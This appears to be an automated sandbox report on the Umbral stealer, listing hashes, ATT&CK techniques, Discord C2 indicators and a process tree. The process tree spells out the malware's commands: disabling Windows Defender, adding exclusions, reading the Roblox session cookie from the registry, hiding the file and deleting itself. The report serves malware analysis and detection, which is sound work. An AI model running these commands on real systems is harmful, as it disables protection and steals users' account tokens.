umbral | b40b8ae2d3083f53ce18753b29592ba542865938295c4d656ecc649c6038d57b

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
09-01-2025 19:56

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General

Target

Umbral.exe
Size

229KB
MD5

5ef325936584fbe65e97c89d5787b22b
SHA1

fbe3db5453a683a05c140de6a48169c683ffdb68
SHA256

b40b8ae2d3083f53ce18753b29592ba542865938295c4d656ecc649c6038d57b
SHA512

62db38a9449a7e6bdb0fe26228df1a2a8c9f62a05a28aff043b0e40e0eb2ae91ffc7d765b9fcfd74e981e413ab732f54545fb40ffe7ff0904993ba61fa4c00ad
SSDEEP

6144:lloZM+rIkd8g+EtXHkv/iD4AiblAmB5K9/Cwhl0B9b8e1mJi:noZtL+EP8AiblAmB5K9/Cwhl0z3

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1524-1-0x0000000000930000-0x0000000000970000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2576	powershell.exe
592	powershell.exe
2404	powershell.exe
2020	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Deletes itself 1 IoCs

pid	Process
928	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
928	cmd.exe
2256	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1776	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2256	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1524	Umbral.exe
2576	powershell.exe
2404	powershell.exe
2020	powershell.exe
2888	powershell.exe
592	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1524	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2228	wmic.exe
Token: SeSecurityPrivilege	2228	wmic.exe
Token: SeTakeOwnershipPrivilege	2228	wmic.exe
Token: SeLoadDriverPrivilege	2228	wmic.exe
Token: SeSystemProfilePrivilege	2228	wmic.exe
Token: SeSystemtimePrivilege	2228	wmic.exe
Token: SeProfSingleProcessPrivilege	2228	wmic.exe
Token: SeIncBasePriorityPrivilege	2228	wmic.exe
Token: SeCreatePagefilePrivilege	2228	wmic.exe
Token: SeBackupPrivilege	2228	wmic.exe
Token: SeRestorePrivilege	2228	wmic.exe
Token: SeShutdownPrivilege	2228	wmic.exe
Token: SeDebugPrivilege	2228	wmic.exe
Token: SeSystemEnvironmentPrivilege	2228	wmic.exe
Token: SeRemoteShutdownPrivilege	2228	wmic.exe
Token: SeUndockPrivilege	2228	wmic.exe
Token: SeManageVolumePrivilege	2228	wmic.exe
Token: 33	2228	wmic.exe
Token: 34	2228	wmic.exe
Token: 35	2228	wmic.exe
Token: SeIncreaseQuotaPrivilege	2228	wmic.exe
Token: SeSecurityPrivilege	2228	wmic.exe
Token: SeTakeOwnershipPrivilege	2228	wmic.exe
Token: SeLoadDriverPrivilege	2228	wmic.exe
Token: SeSystemProfilePrivilege	2228	wmic.exe
Token: SeSystemtimePrivilege	2228	wmic.exe
Token: SeProfSingleProcessPrivilege	2228	wmic.exe
Token: SeIncBasePriorityPrivilege	2228	wmic.exe
Token: SeCreatePagefilePrivilege	2228	wmic.exe
Token: SeBackupPrivilege	2228	wmic.exe
Token: SeRestorePrivilege	2228	wmic.exe
Token: SeShutdownPrivilege	2228	wmic.exe
Token: SeDebugPrivilege	2228	wmic.exe
Token: SeSystemEnvironmentPrivilege	2228	wmic.exe
Token: SeRemoteShutdownPrivilege	2228	wmic.exe
Token: SeUndockPrivilege	2228	wmic.exe
Token: SeManageVolumePrivilege	2228	wmic.exe
Token: 33	2228	wmic.exe
Token: 34	2228	wmic.exe
Token: 35	2228	wmic.exe
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeIncreaseQuotaPrivilege	2644	wmic.exe
Token: SeSecurityPrivilege	2644	wmic.exe
Token: SeTakeOwnershipPrivilege	2644	wmic.exe
Token: SeLoadDriverPrivilege	2644	wmic.exe
Token: SeSystemProfilePrivilege	2644	wmic.exe
Token: SeSystemtimePrivilege	2644	wmic.exe
Token: SeProfSingleProcessPrivilege	2644	wmic.exe
Token: SeIncBasePriorityPrivilege	2644	wmic.exe
Token: SeCreatePagefilePrivilege	2644	wmic.exe
Token: SeBackupPrivilege	2644	wmic.exe
Token: SeRestorePrivilege	2644	wmic.exe
Token: SeShutdownPrivilege	2644	wmic.exe
Token: SeDebugPrivilege	2644	wmic.exe
Token: SeSystemEnvironmentPrivilege	2644	wmic.exe
Token: SeRemoteShutdownPrivilege	2644	wmic.exe
Token: SeUndockPrivilege	2644	wmic.exe
Token: SeManageVolumePrivilege	2644	wmic.exe
Token: 33	2644	wmic.exe
Token: 34	2644	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 2228	1524	Umbral.exe	30
PID 1524 wrote to memory of 2228	1524	Umbral.exe	30
PID 1524 wrote to memory of 2228	1524	Umbral.exe	30
PID 1524 wrote to memory of 2688	1524	Umbral.exe	33
PID 1524 wrote to memory of 2688	1524	Umbral.exe	33
PID 1524 wrote to memory of 2688	1524	Umbral.exe	33
PID 1524 wrote to memory of 2576	1524	Umbral.exe	35
PID 1524 wrote to memory of 2576	1524	Umbral.exe	35
PID 1524 wrote to memory of 2576	1524	Umbral.exe	35
PID 1524 wrote to memory of 2404	1524	Umbral.exe	37
PID 1524 wrote to memory of 2404	1524	Umbral.exe	37
PID 1524 wrote to memory of 2404	1524	Umbral.exe	37
PID 1524 wrote to memory of 2020	1524	Umbral.exe	39
PID 1524 wrote to memory of 2020	1524	Umbral.exe	39
PID 1524 wrote to memory of 2020	1524	Umbral.exe	39
PID 1524 wrote to memory of 2888	1524	Umbral.exe	41
PID 1524 wrote to memory of 2888	1524	Umbral.exe	41
PID 1524 wrote to memory of 2888	1524	Umbral.exe	41
PID 1524 wrote to memory of 2644	1524	Umbral.exe	43
PID 1524 wrote to memory of 2644	1524	Umbral.exe	43
PID 1524 wrote to memory of 2644	1524	Umbral.exe	43
PID 1524 wrote to memory of 2128	1524	Umbral.exe	45
PID 1524 wrote to memory of 2128	1524	Umbral.exe	45
PID 1524 wrote to memory of 2128	1524	Umbral.exe	45
PID 1524 wrote to memory of 796	1524	Umbral.exe	47
PID 1524 wrote to memory of 796	1524	Umbral.exe	47
PID 1524 wrote to memory of 796	1524	Umbral.exe	47
PID 1524 wrote to memory of 592	1524	Umbral.exe	49
PID 1524 wrote to memory of 592	1524	Umbral.exe	49
PID 1524 wrote to memory of 592	1524	Umbral.exe	49
PID 1524 wrote to memory of 1776	1524	Umbral.exe	51
PID 1524 wrote to memory of 1776	1524	Umbral.exe	51
PID 1524 wrote to memory of 1776	1524	Umbral.exe	51
PID 1524 wrote to memory of 928	1524	Umbral.exe	53
PID 1524 wrote to memory of 928	1524	Umbral.exe	53
PID 1524 wrote to memory of 928	1524	Umbral.exe	53
PID 928 wrote to memory of 2256	928	cmd.exe	55
PID 928 wrote to memory of 2256	928	cmd.exe	55
PID 928 wrote to memory of 2256	928	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2688	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2228
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:2688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2888
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2644
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2128
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:592
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1776
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:928
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8ac7ade0dcbc2a244781c8a9884a875b

SHA1
4c02e31d6980264581c1ff6abebf5e0991605527

SHA256
fc6fe51bf3121b992347ef2952a2a9f5278676d593e5fa8351e8c8343e742429

SHA512
994540156852af8f0f6b17d24558e248ae99f74915707c962c5ce67170c24ce3e39f813f6a4ef739a06cbec89513a8e34be4783a3965e07343fa909569e4c512

Download Submit
memory/592-42-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/1524-0-0x000007FEF5E23000-0x000007FEF5E24000-memory.dmp

Filesize
4KB

Download
memory/1524-1-0x0000000000930000-0x0000000000970000-memory.dmp

Filesize
256KB

Download
memory/1524-2-0x000007FEF5E20000-0x000007FEF680C000-memory.dmp

Filesize
9.9MB

Download
memory/1524-46-0x000007FEF5E20000-0x000007FEF680C000-memory.dmp

Filesize
9.9MB

Download
memory/2404-14-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

Filesize
2.9MB

Download
memory/2404-15-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2576-7-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

Filesize
2.9MB

Download
memory/2576-8-0x00000000028D0000-0x00000000028D8000-memory.dmp

Filesize
32KB

Download